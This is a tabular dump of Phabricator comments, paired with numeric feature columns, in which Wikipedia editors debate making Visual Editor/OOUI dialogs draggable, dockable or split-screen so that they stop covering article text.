Sent from Yahoo Mail on Android",,,1573919054,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.0,0.0,1.0,0.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,13.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,15.0,6.0,0.0,0.0,0.0,9.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,3.802325581395349,0.7441860465116279,"I'm now totally unfamiliar with VE because I abandoned it years ago because I found it unusable. I simply wanted to be able to move the category input box away from being on top of the info I needed to categorise, which might have been a county name for a locality, or a footballer's birth decade and field position, etc. It seems, to a naive editor, a simple request.
Sent from Yahoo Mail on Android"
1393749,OOUI: Dialogs should be repositionable/draggable,"@John_Broughton that seems to be assuming that the category name will appear as text somewhere in the article, but that will not always be the case. For example [[ https://en.wikipedia.org/wiki/List_of_pear_cultivars | List of pear cultivars ]] is in Category:Lists of foods. The words ""Lists"" and ""foods"" appear nowhere on the page other than the category names, even ""food"" appears only in the link to a portal and in the title of one reference and neither are in close proximity to any instance of the word ""list"". I imagine this will be even worse in languages where plurals are formed differently than in English.

Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article. 

Back in May 2017 I commented:
> I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.
@Spinningspark replied
>Yes, that exactly sums up the issues.  A moveable window is the best solution. The issue is being clouded with these alternative solutions and we have ended up with no solution at all.
We don't seem to have moved on at all in the last 2½ years. ",,,1573913438,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1.0,0.0,0.0,0.5,1.5,4.0,2.0,0.0,0.0,0.0,6.0,1.0,0.0,0.5,0.0,1.5,0.0,8.5,15.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,5.5,1.0,0.0,1.0,0.5,3.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,6.0,4.5,9.0,1.5,2.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,2.5,15.5,1.5,0.0,4.0,0.0,2.5,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.5,3.8638975966562175,0.6974268547544409,"SCREEN_NAME that seems to be assuming that the category name will appear as text somewhere in the article, but that will not always be the case. For example [[ URL | List of pear cultivars ]] is in Category:Lists of foods. The words ""Lists"" and ""foods"" appear nowhere on the page other than the category names, even ""food"" appears only in the link to a portal and in the title of one reference and neither are in close proximity to any instance of the word ""list"". I imagine this will be even worse in languages where plurals are formed differently than in English.

Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article. 

Back in May 2017 I commented:
QUOTESCREEN_NAME replied
QUOTE
We don't seem to have moved on at all in the last 2½ years. "
1393363,OOUI: Dialogs should be repositionable/draggable,"I haven't thought this through, but, for example, to add a category to Wikipedia page, one could (1) select some text, and (2) tell VE that you want that text to be a category.  The process would be similar to linking, where one selects text and then clicks on the link icon. 

The linking process works really well in VE because the link icon is one click away from the text being edited, while categories are a menu choice, so two clicks away. But I doubt that anyone would complain about the extra click if setting up a category was almost as easy a process as creating a link.

Still, if one wants to dream about an even easier interface, it would be this:

(a) select some text
(b) a palette window automatically appears (relatively small, perhaps, since the editor might be selecting text to copy, move, or delete)
(c) click on an icon in the palette window to select a relevant action from the palette window (which might be expanded with a click, maybe showing the selected text in an attached window). The relevant options could include create a link, create a category, format the text as a heading, format a paragraph (block quote), format some text within a paragraph (bold, italic, etc)

In other words, in VE, when you select some text, VE would automatically say ""Okay, here are your options for that text."" [I have no idea how difficult this would be to program.]

",,,1573840441,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1.25,0.25,0.0,0.5,0.25,3.5,1.75,0.25,0.0,0.5,2.25,0.25,0.0,0.25,0.0,0.75,0.0,5.25,9.0,0.25,1.5,0.0,0.5,0.0,0.25,0.0,0.0,0.5,1.0,1.5,0.25,4.25,1.0,0.25,0.75,1.0,0.25,0.25,0.25,0.25,0.25,0.0,0.0,0.75,0.0,0.25,0.0,0.0,0.25,14.0,0.5,1.0,0.25,0.25,0.25,0.0,0.0,0.25,0.5,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,7.5,3.0,4.0,2.75,1.25,10.75,0.0,0.0,0.0,0.0,5.25,0.25,0.75,0.0,2.5,9.0,1.5,0.0,0.75,0.0,2.5,0.0,1.25,4.5,0.0,1.5,0.25,0.0,1.5,3.664918414918415,0.6848568098568097,"I haven't thought this through, but, for example, to add a category to Wikipedia page, one could (1) select some text, and (2) tell VE that you want that text to be a category.  The process would be similar to linking, where one selects text and then clicks on the link icon. 

The linking process works really well in VE because the link icon is one click away from the text being edited, while categories are a menu choice, so two clicks away. But I doubt that anyone would complain about the extra click if setting up a category was almost as easy a process as creating a link.

Still, if one wants to dream about an even easier interface, it would be this:

(a) select some text
(b) a palette window automatically appears (relatively small, perhaps, since the editor might be selecting text to copy, move, or delete)
(c) click on an icon in the palette window to select a relevant action from the palette window (which might be expanded with a click, maybe showing the selected text in an attached window). The relevant options could include create a link, create a category, format the text as a heading, format a paragraph (block quote), format some text within a paragraph (bold, italic, etc)

In other words, in VE, when you select some text, VE would automatically say ""Okay, here are your options for that text."" [I have no idea how difficult this would be to program.]

"
1393330,OOUI: Dialogs should be repositionable/draggable,"@John_Broughton, the StackExchange link makes me wonder whether we should be thinking of these as modal dialogs (something intended to interrupt the primary workflow [which is probably ""typing text into the body of an article""] and requiring some action before you can get back to the primary workflow).  Maybe editors would find it better to have a https://en.wikipedia.org/wiki/Palette_window instead.",,,1573838216,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,6.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,13.0,1.0,0.0,3.0,0.0,6.0,0.0,1.0,3.0,1.0,4.0,1.0,0.0,1.0,4.3,0.8571428571428571,"SCREEN_NAME, the StackExchange link makes me wonder whether we should be thinking of these as modal dialogs (something intended to interrupt the primary workflow [which is probably ""typing text into the body of an article""] and requiring some action before you can get back to the primary workflow).  Maybe editors would find it better to have a URL instead."
1393013,OOUI: Dialogs should be repositionable/draggable,"Given that a user wants to both interact with (or at least see) a page's content, and also interact with a somewhat complicated form/process (i.e. many controls/inputs, e.g. Rater, or in VE adding/editing a template with many parameters), what alternatives are there?
 - Unmovable dialog: Forces the user to swicth back-and-forth to another tab/window; or exit the dialog, find what they wanted to find, and go back in
 - Docking: Only works if your screen is big enough
 - Prepending to (or placing just above) the content area: Causes content to re-position, can't necessarily see both things at once (if scrolling is required), not really suitable if the form/process applies to only one section of the page
 - Appending to (or placing just below) the content area: Similar to prepending, but instead content re-positioning existing content, the form/process won't initially be visible on longer pages, unless you force the page to scroll there
I don't think those alternatives are actually better than letting the user move the dialog out of the way.",,,1573803105,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,4.333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,8.333333333333334,10.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,3.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,14.666666666666666,0.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,5.666666666666667,2.0,4.333333333333333,1.6666666666666667,3.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,10.666666666666666,1.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,1.3333333333333333,0.0,4.333333333333333,1.0,0.3333333333333333,0.3333333333333333,3.878047391205286,0.7468671679197995,"Given that a user wants to both interact with (or at least see) a page's content, and also interact with a somewhat complicated form/process (i.e. many controls/inputs, e.g. Rater, or in VE adding/editing a template with many parameters), what alternatives are there?
 - Unmovable dialog: Forces the user to swicth back-and-forth to another tab/window; or exit the dialog, find what they wanted to find, and go back in
 - Docking: Only works if your screen is big enough
 - Prepending to (or placing just above) the content area: Causes content to re-position, can't necessarily see both things at once (if scrolling is required), not really suitable if the form/process applies to only one section of the page
 - Appending to (or placing just below) the content area: Similar to prepending, but instead content re-positioning existing content, the form/process won't initially be visible on longer pages, unless you force the page to scroll there
I don't think those alternatives are actually better than letting the user move the dialog out of the way."
1391281,OOUI: Dialogs should be repositionable/draggable,"https://ux.stackexchange.com/questions/81134/should-modal-dialogs-be-movable seems to show a (rough) consensus that when a proposed solution to a dialog is to make it moveable, the dialog itself is poorly designed. That implies looking for a different solution that addresses the underlying user problem. 

For example, when in VE, and wanting to create a category, the dialog could include the text of the section where the pointer was located when the dialog was invoked (scrollable on the left side of the dialog). That way, the user could selected text from the left side of the dialog and paste it into the right side. [I'm not arguing that this is optimal, just that it's another way to solve the underlying user problem.]",,,1573599401,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.0,0.0,0.0,2.0,0.5,6.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,4.5,10.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,4.5,1.0,2.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.5,14.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,11.5,3.0,3.5,4.5,1.0,14.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,10.5,1.0,0.0,0.0,0.0,3.0,0.0,3.0,2.5,0.5,2.0,0.0,0.0,0.5,3.9705882352941178,0.6838235294117647,"URL seems to show a (rough) consensus that when a proposed solution to a dialog is to make it moveable, the dialog itself is poorly designed. That implies looking for a different solution that addresses the underlying user problem. 

For example, when in VE, and wanting to create a category, the dialog could include the text of the section where the pointer was located when the dialog was invoked (scrollable on the left side of the dialog). That way, the user could selected text from the left side of the dialog and paste it into the right side. [I'm not arguing that this is optimal, just that it's another way to solve the underlying user problem.]"
1391010,OOUI: Dialogs should be repositionable/draggable,"FYI, I found I could do the draggability easily enough without the library, just using mouse/pointer events directly - [[https://github.com/evad37/rater/commit/a510709e8eb61389e0d83faca7750215affb1f9c|diff]].",,,1573580066,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.038461538461538,0.8461538461538461,"FYI, I found I could do the draggability easily enough without the library, just using mouse/pointer events directly - [[URL"
1390375,OOUI: Dialogs should be repositionable/draggable,"I've implemented draggability for an OOUI process dialog for the latest version of my [[ https://github.com/evad37/rater | Rater script]], by [[ https://github.com/evad37/rater/commit/0ef3d7eca0a2417550030ceac9219265dbcbdf5b | using a drag-and-drop library ]] and [[ https://github.com/evad37/rater/blob/f0ca4cdbbfca6529bbe235e2f8d8b3f626bcc18d/rater-src/css.js#L31 | some CSS overrides]]. It would be nicer if this functionality was directly supported, rather than relying on a library with a bunch of functionality that isn't actually used -- at least for reusers of OOUI, even if WMF devs choose not to use it.

(Coincidentally, this is the exact use-case @Gryllida was describing above three years ago.)",,,1573488532,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.5,0.0,0.0,2.0,2.0,3.0,1.5,0.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,1.0,1.0,7.5,11.5,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.5,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,12.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,6.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.5,11.5,3.0,0.0,0.0,0.0,2.5,0.0,1.0,3.0,0.0,2.5,0.5,1.5,2.0,3.710526315789474,0.7807017543859649,"I've implemented draggability for an OOUI process dialog for the latest version of my [[ URL | Rater script]], by [[ URL | using a drag-and-drop library ]] and [[ URL | some CSS overrides]]. It would be nicer if this functionality was directly supported, rather than relying on a library with a bunch of functionality that isn't actually used -- at least for reusers of OOUI, even if WMF devs choose not to use it.

(Coincidentally, this is the exact use-caseSCREEN_NAME was describing above three years ago.)"
852002,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#3224607, @Thryduulf wrote:
> When editing in VE I sometimes have to load a duplicate copy of the page in a new tab so that I can see what I'm doing.
> 
> I dislike the split-screen approach as that uses more screen estate than required and divorces the dialog from its context. I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.

Yes, that exactly sums up the issues.  A moveable window is the best solution.  The issue is being clouded with these alternative solutions and we have ended up with no solution at all.",,,1493641919,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,200,,2.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,15.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.7872340425531914,0.723404255319149,"QUOTE
QUOTE
QUOTE
QUOTE

Yes, that exactly sums up the issues.  A moveable window is the best solution.  The issue is being clouded with these alternative solutions and we have ended up with no solution at all."
851929,OOUI: Dialogs should be repositionable/draggable,"When editing in VE I sometimes have to load a duplicate copy of the page in a new tab so that I can see what I'm doing.

I dislike the split-screen approach as that uses more screen estate than required and divorces the dialog from its context. I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.",,,1493598817,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,200,,0.0,0.0,0.0,0.0,1.0,6.5,2.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,3.0,0.0,6.0,14.5,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.5,2.0,1.0,2.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,9.5,2.0,4.0,1.5,1.5,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,14.5,0.5,0.0,0.0,0.0,3.5,0.0,1.0,4.0,0.0,2.0,0.5,0.0,0.0,3.952549019607843,0.8117647058823529,"When editing in VE I sometimes have to load a duplicate copy of the page in a new tab so that I can see what I'm doing.

I dislike the split-screen approach as that uses more screen estate than required and divorces the dialog from its context. I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo."
849468,OOUI: Dialogs should be repositionable/draggable,"Three and a half years on from my initial complaint, and as far as I know the Visual Editor is still useless to me, so I don't use it. Let me know when it becomes a useful editing system for people who need to see the original article while adding categories or doing other tasks.",,,1493224533,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,199,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,10.0,3.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.7666666666666666,0.8166666666666667,"Three and a half years on from my initial complaint, and as far as I know the Visual Editor is still useless to me, so I don't use it. Let me know when it becomes a useful editing system for people who need to see the original article while adding categories or doing other tasks."
849399,OOUI: Dialogs should be repositionable/draggable,I still think something like a split-screen mode would be a better solution for these cases than movable dialogs (see mockup above in T51969#821409).,,,1493220892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,199,,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,4.344827586206897,0.9655172413793104,I still think something like a split-screen mode would be a better solution for these cases than movable dialogs (see mockup above in T51969#821409).
772675,OOUI: Dialogs should be repositionable/draggable,"Yes - when someone tells me that VE is usable, I'll have another look at it. If the dialog box still obscures the content, then for my prolific WikiGnoming it's useless. Two years since I raised this, and no progress. Nice to feel appreciated. ",,,1481018430,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,6.0,11.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,8.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7735849056603774,0.8490566037735849,"Yes - when someone tells me that VE is usable, I'll have another look at it. If the dialog box still obscures the content, then for my prolific WikiGnoming it's useless. Two years since I raised this, and no progress. Nice to feel appreciated. "
772668,OOUI: Dialogs should be repositionable/draggable,Astonishing this is still open.  I stopped using VE a year or two back because this and other problems made for an inefficient worklow.  Still not time to give it another try I see.,,,1481016428,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,3.0,5.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.7948717948717947,0.8717948717948718,Astonishing this is still open.  I stopped using VE a year or two back because this and other problems made for an inefficient worklow.  Still not time to give it another try I see.
772286,OOUI: Dialogs should be repositionable/draggable,"I appreciate this discussion happening. It is strange that we are thinking that draggable dialogs create problems, so I will attempt to illustrate it with a use-case. I am trying to write a user script in oojs-ui, and the script work should be similar to the old gadget whose dialog is draggable to expose different parts of the article text in order to perform its assessment.

Here is the gadget documentation and source code: https://en.wikipedia.org/wiki/User:Kephir/gadgets/rater

Here is a screenshot attached, which I also uploaded to Commons and which is found at the gadget documentation page:

{F4983945}

I would like to be able to perform article rating on the new pages queue continuously one after another, and having draggable dialog reduces the working memory (and increases efficiency) of the process about tenfold, as I don't have to hold the article contents in my memory.",,,1480961860,,PHID-USER-aklqcs2xae5ghg6icqmd,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0.0,0.0,0.0,0.5,0.5,5.5,3.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,4.5,0.0,3.5,12.5,0.0,4.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.5,7.0,1.5,1.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.5,16.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,6.5,5.0,6.5,1.5,3.0,9.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,6.0,12.5,2.5,0.0,0.0,0.0,6.0,0.0,1.5,1.5,0.0,2.5,0.0,0.0,0.0,4.197432587492829,0.7485656913367758,"I appreciate this discussion happening. It is strange that we are thinking that draggable dialogs create problems, so I will attempt to illustrate it with a use-case. I am trying to write a user script in oojs-ui, and the script work should be similar to the old gadget whose dialog is draggable to expose different parts of the article text in order to perform its assessment.

Here is the gadget documentation and source code: URL

Here is a screenshot attached, which I also uploaded to Commons and which is found at the gadget documentation page:

{F4983945}

I would like to be able to perform article rating on the new pages queue continuously one after another, and having draggable dialog reduces the working memory (and increases efficiency) of the process about tenfold, as I don't have to hold the article contents in my memory."
340217,OOUI: Dialogs should be repositionable/draggable,"I agree that the dockable model is trying to modify something where we might better look for alternatives. For example, one way to create a new category might be to highlight some text, then select (say) Insert > Category. That could open a dialog (for example, to  allow a different sort key than the default, and to offer the opportunity to create a category if one being created didn't already exist.

This isn't perfect, of course - if a particular category didn't exist (as text) on the page, the user would have to add it, create the category, then delete the unneeded text. Still, maybe it's better, and at least it's something to think about.",,,1418179696,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,0.5,1.0,0.0,0.5,2.0,6.0,1.0,0.0,0.0,1.5,1.5,2.0,0.0,0.0,0.0,1.0,0.0,6.5,12.0,1.0,4.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,3.0,0.5,2.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,10.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,7.0,2.5,4.0,2.5,1.0,9.0,0.0,0.0,0.0,0.0,9.5,0.5,1.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,3.0,0.0,0.5,0.5,0.5,0.5,3.7816901408450705,0.7112676056338028,"I agree that the dockable model is trying to modify something where we might better look for alternatives. For example, one way to create a new category might be to highlight some text, then select (say) Insert > Category. That could open a dialog (for example, to  allow a different sort key than the default, and to offer the opportunity to create a category if one being created didn't already exist.

This isn't perfect, of course - if a particular category didn't exist (as text) on the page, the user would have to add it, create the category, then delete the unneeded text. Still, maybe it's better, and at least it's something to think about."
340205,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821409, @matmarex wrote:
> I'm increasingly convinced that draggable dialogs in general are a solution in search of a problem. (It could be interesting to do, but shouldn't be applied to all dialogs.)
> 
>> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.
> 
> I was thinking, perhaps the dialogs should be ""dockable"" at the bottom of the screen? Clicking an icon on dialog's title bar would hide the white overlay and dock it, revealing article content. We should think what to do with dialogs that were modal in this case, but I think this approach could work, and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).
> 
> Here's a rough mockup – note the docking icon on the right. Thoughts?

Eurgh. I really don't like the dockable model of modals. It feels like failure. I'd prefer instead that we provide secondary non-modal ways to do things people want to do that isn't modal. As @Whatamidoing-WMF says, this isn't going to work for anyone that doesn't have a huge desktop screen to use.",,,1418176632,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,75,,0.0,1.0,0.0,0.0,5.0,9.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,4.0,0.0,7.0,10.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,10.0,13.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.597560975609756,0.6097560975609756,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

